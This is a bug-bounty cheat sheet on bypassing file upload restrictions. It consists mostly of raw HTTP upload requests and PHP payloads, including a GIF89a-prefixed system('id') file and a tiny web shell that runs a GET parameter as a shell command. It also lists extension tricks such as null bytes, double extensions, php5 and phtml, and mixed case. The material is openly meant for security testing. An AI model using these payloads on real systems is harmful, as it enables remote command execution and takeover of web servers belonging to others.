AllAboutBugBounty/Arbitrary File Upload.md

# Bypass File Upload
1. Change the ContentType
```
POST /images/upload/ HTTP/1.1
Host: target.com
[...]

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```
Change the Content-Type
```
POST /images/upload/ HTTP/1.1
Host: target.com
[...]

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg
```

2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file
```
POST /images/upload/ HTTP/1.1
Host: target.com
[...]

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
Content-Type: application/x-php
```
Change the request to this
```
POST /images/upload/ HTTP/1.1
Host: target.com
[...]

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```

3. Upload the payload, but start with GIF89a; and
```
POST /images/upload/ HTTP/1.1
Host: target.com
[...]

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif

GIF89a; <?php system("id") ?>
```
And dont forget to change the content-type to image/gif

4. Bypass content length validation, it can be bypassed using small payload
```
(<?=`$_GET[x]`?>)
```

5. Using null byte in filename
```
file.php%00.gif
```

6. Using double extensions for the uploaded file
```
file.jpg.php
```

7.  Uploading an unpopular php extensions (php4,php5,php6,phtml)
```
file.php5
```

8. Try to randomly capitalizes the file extension
```
file.pHP5
```

9. Mix the tips!